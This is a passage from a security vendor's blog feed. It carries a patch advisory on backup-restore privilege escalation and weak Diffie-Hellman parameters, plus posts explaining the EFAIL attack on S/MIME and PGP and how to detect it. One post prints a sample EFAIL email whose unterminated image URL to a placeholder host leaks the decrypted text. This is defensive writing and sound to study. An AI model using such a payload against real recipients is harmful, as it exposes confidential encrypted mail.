&lt;p&gt;There are two possible options: require an additional system password when executing the restore functionality from the web interface, or only allow restores from the command line.&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Additional system password&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;The first solution is to require an additional system password to be entered when restoring from the web interface. The additional system password is the password for the command line user. By default, this is the password of the "sa" user. Restoring now requires the correct privileges.&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Disable restore from the GUI&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;The second solution is to completely remove the restore functionality from the web interface. Restores can now only be done from the command line.&lt;/p&gt;
&lt;p&gt;For CipherMail Gateway 4.8 and Webmail Messenger 3.2 we opted for the first solution, i.e, the password for the "sa" user must be entered when restoring. 
For older releases we opted for the second solution, i.e., disable the restore functionality from the web interface. A patch for older releases is now available. See below for instructions on how to apply this patch.&lt;/p&gt;
&lt;h3&gt;Check your backups&lt;/h3&gt;
&lt;p&gt;With both solutions, the administrator is still able to restore a rogue backup. This time however the administrator requires the correct system privileges.
Any backup system which can back up system files, is vulnerable to backup manipulation. It is therefore important that backup files should only be restored if the backup file comes from a trusted source and has not been tampered with.&lt;/p&gt;
&lt;h2&gt;Weak Diffie-Hellman keys&lt;/h2&gt;
&lt;p&gt;The third vulnerability, found by our system administrator Imre Jonk, is that the default Postfix configuration uses weak Diffie-Hellman parameters. Postfix uses by default 1024 bit DH parameters which are now considered to be too weak.&lt;/p&gt;
&lt;p&gt;Whether 1024 bit DH parameters are too weak for a specific setup depends on whether TLS is mandatory or not. With the default configuration of CipherMail, TLS is not mandatory. If an incoming or outgoing SMTP connection does not support TLS, the email is transmitted without TLS. If however TLS is mandatory, for example because DANE is in use, and the TLS connection uses Diffie-Hellman key exchange, then the TLS encryption strength might be too weak.&lt;/p&gt;
&lt;p&gt;Stronger DH parameters are now configured in CipherMail Gateway 4.8 and Webmail Messenger 3.2. For older releases we provide a patch which will configure stronger DH parameters.&lt;/p&gt;
&lt;h2&gt;Should I update or patch?&lt;/h2&gt;
&lt;p&gt;Whether the issues should be fixed depends on your use case. If you are the administrator and you are in full control of the gateway, i.e., you can login to the command line interface and issue commands as root, you are most likely not affected by the first two vulnerabilities. If you want to make sure the issues are fixed, you might consider running the patch and not update to a newer release. Running the patch is easier than updating to a newer release.&lt;/p&gt;
&lt;h2&gt;Patch instructions for older releases&lt;/h2&gt;
&lt;h3&gt;For the CipherMail Gateway:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
Download &lt;a href="https://www.ciphermail.com/downloads/patches/ciphermail-gateway-cve-2020-12713.patch.run"&gt;ciphermail-gateway-cve-2020-12713.patch.run&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
Make the file executable
&lt;code&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;+x&lt;span class="w"&gt; &lt;/span&gt;ciphermail-gateway-cve-2020-12713.patch.run
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
Execute the patch
&lt;code&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;./ciphermail-gateway-cve-2020-12713.patch.run
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
Select which vulnerability should be fixed.
&lt;/li&gt;
&lt;li&gt;
Select "yes" for each issue you want to fix.
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;For CipherMail Webmail Messenger:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
Download &lt;a href="https://www.ciphermail.com/downloads/patches/ciphermail-webmail-cve-2020-12713.patch.run"&gt;ciphermail-webmail-cve-2020-12713.patch.run&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
Make the file executable
&lt;code&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;+x&lt;span class="w"&gt; &lt;/span&gt;ciphermail-webmail-cve-2020-12713.patch.run
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
Execute the patch
&lt;code&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;./ciphermail-webmail-cve-2020-12713.patch.run
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
Select which vulnerability should be fixed.
&lt;/li&gt;
&lt;li&gt;
Select "yes" for each issue you want to fix.
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;Patch instructions for older releases&lt;/h2&gt;
&lt;p&gt;Customers with a support contract who have additional questions or need help fixing the issue, either by running the patch or updating, please &lt;a href="https://www.ciphermail.com/contact.html"&gt;Contact Us&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;We like to thank Pablo A. Zurro from Core Security for reporting the privilege escalation issues ethically.&lt;/p&gt;</content><category term="blog"/></entry><entry><title>EFAIL: detection and prevention</title><link href="https://www.ciphermail.com/blog/efail-detection-and-prevention.html" rel="alternate"/><published>2018-05-19T00:00:00+02:00</published><updated>2018-05-19T00:00:00+02:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2018-05-19:/blog/efail-detection-and-prevention.html</id><summary type="html">&lt;p&gt;EFAIL: detection and prevention&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="EFAIL" src="https://www.ciphermail.com/images/efail-logo.png" width="75px"&gt;&lt;/p&gt;
&lt;p&gt;In &lt;a href="efail-which-is-vulnerable-pgp-smime-or-your-mail-client.html"&gt;EFAIL: which is vulnerable? PGP, S/MIME or your mail client?&lt;/a&gt;, we discussed the &lt;a href="https://efail.de"&gt;EFAIL&lt;/a&gt; "Generic exfiltration" 
attack on S/MIME and suggested how such an attack may be detected.&lt;/p&gt;
&lt;p&gt;Even though the CipherMail gateway is not directly vulnerable to EFAIL if your email client is configured to automatically download external resources, your email client may leak your decrypted email.&lt;/p&gt;
&lt;p&gt;The main issue with the EFAIL "Generic exfiltration" attack is that an encrypted message can be modified by an attacker without 
being detected. This is a general S/MIME problem and can only be solved by fixing the S/MIME standards.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;... any standard-conforming client will be vulnerable and ... each vendor may cook their own mitigations that may or may not prevent the attacks. 
Thus, in the long term, it is necessary to update the specification to find and document changes that fix the underlying root causes of the vulnerabilities.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In &lt;a href="fail-how-to-detect-you-are-being-attacked.html"&gt;EFAIL: how to detect you are being attacked?&lt;/a&gt;, we discussed a 
possible option to detect that an S/MIME encrypted email was modified.&lt;/p&gt;
&lt;p&gt;If an encrypted S/MIME email is modified, multiple blocks of random data will be added to the email. S/MIME emails however, should only contain 
readable characters. If an email, after decryption, contains non-readable characters, this is an indication that the encrypted message has 
been tampered with (for more details see &lt;a href="fail-how-to-detect-you-are-being-attacked.html"&gt;EFAIL: how to detect you are being attacked?&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;To make sure that CipherMail customers are protected even if a vulnerable email program is used, we have added functionality to the 
CipherMail Email Encryption Gateway which can detect whether there are non-readable characters in a decrypted message. 
If non-readable characters are found, a header will be added to the email. An anti spam/virus filter can detect 
this header and quarantine the email for further inspection. Optionally, decrypting the email can be aborted. 
The email will then be delivered in encrypted form.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Check for valid 7bit chars" src="https://www.ciphermail.com/images/check-for-invalid-7bits-chars.png"&gt;&lt;/p&gt;
&lt;p&gt;The following two advanced S/MIME options were added: &lt;em&gt;Check for invalid 7bit chars&lt;/em&gt; and &lt;em&gt;Abort decrypt on invalid 7bit chars&lt;/em&gt;. 
If &lt;em&gt;Check for invalid 7bit chars&lt;/em&gt; is enabled, the decrypted message will be analyzed to check whether all characters are 
within the acceptable character range for S/MIME (tab, LF, CR, 32-126). If a character is found which is not within the 
acceptable range, the header "X-Djigzo-Info-SMIME-Illegal-Chars-Found: True" will be added to the email and the 
following warning message will be printed to the logs:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;WARN  Illegal characters detected in decrypted message
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If &lt;em&gt;Abort decrypt on invalid 7bit chars&lt;/em&gt; is also enabled, decryption will be aborted and the message will be delivered in encrypted 
form and the following warning message will be printed to the logs:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;WARN  Decryption aborted. Illegal characters detected in decrypted message
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The options &lt;em&gt;Check for invalid 7bit chars&lt;/em&gt; and &lt;em&gt;Abort decrypt on invalid 7bit chars&lt;/em&gt; are not enabled by default. 
Although the S/MIME specifications require that email sent over the Internet only use 7bit characters, it may be
that some non-conforming S/MIME clients use 8bit characters. Non-conforming S/MIME clients may therefore result in false
positives for some emails. The options can be enabled for specific recipients or domains but it's best to enable them on the top level.&lt;/p&gt;</content><category term="blog"/></entry><entry><title>EFAIL: how to detect you are being attacked?</title><link href="https://www.ciphermail.com/blog/efail-how-to-detect-you-are-being-attacked.html" rel="alternate"/><published>2018-05-15T00:00:00+02:00</published><updated>2018-05-15T00:00:00+02:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2018-05-15:/blog/efail-how-to-detect-you-are-being-attacked.html</id><summary type="html">&lt;p&gt;EFAIL: how to detect you are being attacked?&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="EFAIL" src="https://www.ciphermail.com/images/efail-logo.png" width="75px"&gt;&lt;/p&gt;
&lt;p&gt;In &lt;a href="efail-which-is-vulnerable-pgp-smime-or-your-mail-client.html"&gt;EFAIL: which is vulnerable? PGP, S/MIME or your mail client?&lt;/a&gt;, we discussed some implications of the newly found &lt;a href="https://efail.de"&gt;EFAIL&lt;/a&gt; attack on PGP and S/MIME. We concluded that CipherMail gateway was not directly vulnerable because the gateway does not load remote content from the email. The email only gets decrypted, validated and then forwarded. &lt;/p&gt;
&lt;p&gt;The EFAIL paper describes two types of attack. The &lt;em&gt;Direct exfiltration&lt;/em&gt; attack and the &lt;em&gt;Generic exfiltration&lt;/em&gt; attack. &lt;/p&gt;
&lt;p&gt;Messages decrypted by the CipherMail gateway are not vulnerable to the &lt;em&gt;Direct exfiltration&lt;/em&gt; attack even if you use a mail client which is vulnerable to the &lt;em&gt;Direct exfiltration&lt;/em&gt; attack because CipherMail will always generate messages having correct MIME parts after decryption. PGP messages decrypted by CipherMail are also not vulnerable to the &lt;em&gt;Generic exfiltration&lt;/em&gt; attack because a Modification Detection Code (MDC) is required and checked. If a message does not have the correct MDC, the message will not be decrypted (see &lt;a href="efail-which-is-vulnerable-pgp-smime-or-your-mail-client.html"&gt;EFAIL: which is vulnerable? PGP, S/MIME or your mail client?&lt;/a&gt; for more details)&lt;/p&gt;
&lt;h2&gt;S/MIME&lt;/h2&gt;
&lt;p&gt;S/MIME however is vulnerable to the &lt;em&gt;Generic exfiltration&lt;/em&gt; attack. With the &lt;em&gt;Generic exfiltration&lt;/em&gt; attack the attacker can insert additional content (payload) into an encrypted email without having to decrypt the email first. This by itself does not directly result in the loss of information. However, if the email is viewed on an email client which automatically downloads external content, part of the decrypted email might be uploaded to a remote system. &lt;/p&gt;
&lt;h2&gt;Generic exfiltration&lt;/h2&gt;
&lt;p&gt;We have further analyzed EFAIL and have been able to modify an S/MIME message using the described &lt;em&gt;Generic exfiltration&lt;/em&gt; technique. &lt;/p&gt;
&lt;p&gt;Inserting the required payload is not straightforward. Only small parts can be inserted (max 16 bytes). To insert a payload which can be used to upload the decrypted contents requires multiple blocks to be inserted. The problem with inserting blocks into the encrypted stream, is that the blocks are separated by bogus data (random plaintext). The paper describes in a clever way how the inserted payload can be optimized to make sure that the HTML parser skips the bogus data. &lt;/p&gt;
&lt;p&gt;&lt;img alt="EFAIL" src="https://www.ciphermail.com/images/efail-random-data.png"&gt;&lt;/p&gt;
&lt;p&gt;The bogus data however, can also be used to detect that an EFAIL attack has been executed. S/MIME specification (&lt;a href="https://tools.ietf.org/html/rfc5751#section-3.1.3"&gt;RFC 5751&lt;/a&gt;) requires that an S/MIME message should only contain 7-bits characters:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If a multipart/signed entity is ever to be transmitted over the
standard Internet SMTP infrastructure or other transport that is
constrained to 7-bit text, it MUST have transfer encoding applied so
that it is represented as 7-bit text.  MIME entities that are 7-bit
data already need no transfer encoding.  Entities such as 8-bit text
and binary data can be encoded with quoted-printable or base-64
transfer encoding.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;S/MIME messages containing characters outside the 7-bit range are therefore invalid. This gives us an opportunity to detect whether the EFAIL attack was used. The chances of detection can be further improved by also disallowing most control characters. in normal emails, only CR, LF and TAB will be used.&lt;/p&gt;
&lt;p&gt;When using the CipherMail Email Encryption gateway, a spam or content filter can detect whether the decrypted email contains invalid characters and quarantine the email in such a case.&lt;/p&gt;
&lt;h2&gt;Automatic detection&lt;/h2&gt;
&lt;p&gt;We are investigating whether an automatic 8-bit character detection module can be added to the CipherMail gateway. With this module, if a decrypted email contains invalid characters, the gateway will not forward the email in decrypted form but forward it in encrypted for to an admin for further analysis. &lt;/p&gt;
&lt;h2&gt;Update&lt;/h2&gt;
&lt;p&gt;This functionality has now been implemented in the CipherMail Email Encryption Gateway. For more information see
&lt;a href="efail-detection-and-prevention.html"&gt;EFAIL: detection and prevention&lt;/a&gt;&lt;/p&gt;</content><category term="blog"/></entry><entry><title>EFAIL: which is vulnerable? PGP, S/MIME or your mail client?</title><link href="https://www.ciphermail.com/blog/efail-which-is-vulnerable-pgp-smime-or-your-mail-client.html" rel="alternate"/><published>2018-05-14T00:00:00+02:00</published><updated>2018-05-14T00:00:00+02:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2018-05-14:/blog/efail-which-is-vulnerable-pgp-smime-or-your-mail-client.html</id><summary type="html">&lt;p&gt;EFAIL: which is vulnerable? PGP, S/MIME or your mail client?&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="EFAIL" src="https://www.ciphermail.com/images/efail-logo.png" width="75px"&gt;&lt;/p&gt;
&lt;p&gt;EFAIL is a recent attack on PGP en S/MIME email encryption (&lt;a href="https://efail.de"&gt;EFAIL&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;EFAIL exploits remote content resolving built into most email clients (like for example images and CSS rules) to get (parts) of a previously encrypted email.&lt;/p&gt;
&lt;p&gt;What EFAIL basically does, is that it takes a previously encrypted email (for which the attacker does not have the private key) and embeds this encrypted email into a new email in a special way. The email is then sent to the recipient for decryption. The attacker however designed the email in a way that the decrypted content of the original email gets embedded into the URL for a remote resource (for example an image). If the email client is configured to automatically resolve external content (for example download images), the content of the email gets sent to the remote server as a URL request. If the remote server is under control of the attacker, or if the URL is sent via HTTP, the attacker can access the URL and therefore has access to the plain text content of the original email.&lt;/p&gt;
&lt;h2&gt;Two forms of attack&lt;/h2&gt;
&lt;p&gt;EFAIL described two forms of attack: &lt;em&gt;Direct exfiltration&lt;/em&gt; and &lt;em&gt;Generic exfiltration&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Direct exfiltration&lt;/h4&gt;&lt;/h2&gt;
&lt;p&gt;With &lt;em&gt;Direct exfiltration&lt;/em&gt;, the email client is tricked into embedding the decrypted message into the URL of an image URL.&lt;/p&gt;
&lt;p&gt;Take for example the following email:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;MIME&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nl"&gt;Version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;
&lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nl"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;multipart&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mixed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;boundary&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;------------BOUNDARY&amp;quot;&lt;/span&gt;

&lt;span class="o"&gt;--------------&lt;/span&gt;&lt;span class="n"&gt;BOUNDARY&lt;/span&gt;
&lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nl"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nl"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;

&lt;span class="o"&gt;--------------&lt;/span&gt;&lt;span class="n"&gt;BOUNDARY&lt;/span&gt;
&lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nl"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="o"&gt;-----&lt;/span&gt;&lt;span class="k"&gt;BEGIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PGP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MESSAGE&lt;/span&gt;&lt;span class="o"&gt;-----&lt;/span&gt;
&lt;span class="nl"&gt;Charset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ISO&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8859&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="nl"&gt;Version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GnuPG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="mf"&gt;.4.11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GNU&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Linux&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;hQEMA4qqZxiq3q9&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;AQf&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bNb91v6gBd2UE9FF4PcyoCBEA95GQyom&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xrRB9dl44xp&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;SNIP&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;nHDNjX1d8QF9V4Q22MCImLA&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;i3mI&lt;/span&gt;
&lt;span class="o"&gt;-----&lt;/span&gt;&lt;span class="k"&gt;END&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PGP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MESSAGE&lt;/span&gt;&lt;span class="o"&gt;-----&lt;/span&gt;

&lt;span class="o"&gt;--------------&lt;/span&gt;&lt;span class="n"&gt;BOUNDARY&lt;/span&gt;
&lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nl"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Transfer&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nl"&gt;Encoding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="nc"&gt;bit&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;--------------BOUNDARY--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;An email client is vulnerable to the &lt;em&gt;Direct exfiltration&lt;/em&gt; attack if the above email, afer decryption, ends up as follows:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;MIME-Version&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;0&lt;/span&gt;
&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;multipart&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;mixed&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;boundary&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;------------BOUNDARY&amp;quot;&lt;/span&gt;

&lt;span class="nt"&gt;This&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;multi-part&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MIME&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;format&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="nt"&gt;--------------BOUNDARY&lt;/span&gt;
&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nt"&gt;Content-Transfer-Encoding&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;7bit&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;http&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="nt"&gt;www&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;span class="nt"&gt;Decrypted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Because the IMG URL did not contain a final quote, the decrypted text "Decrypted text" is now part of the IMG URL. If the email client now tries to download the image, it sends the decrypted text to the remote server.&lt;/p&gt;
&lt;p&gt;The CipherMail email encryption gateway is not vulnerable to the &lt;em&gt;Direct exfiltration&lt;/em&gt; attack. CipherMail will create a valid email with correct mail parts. CipherMail will create the following email from the above  &lt;em&gt;Direct exfiltration&lt;/em&gt; attack:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;MIME-Version&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;0&lt;/span&gt;
&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;multipart&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;mixed&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;boundary&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;------------BOUNDARY&amp;quot;&lt;/span&gt;

&lt;span class="nt"&gt;This&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;multi-part&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MIME&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;format&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="nt"&gt;--------------BOUNDARY&lt;/span&gt;
&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
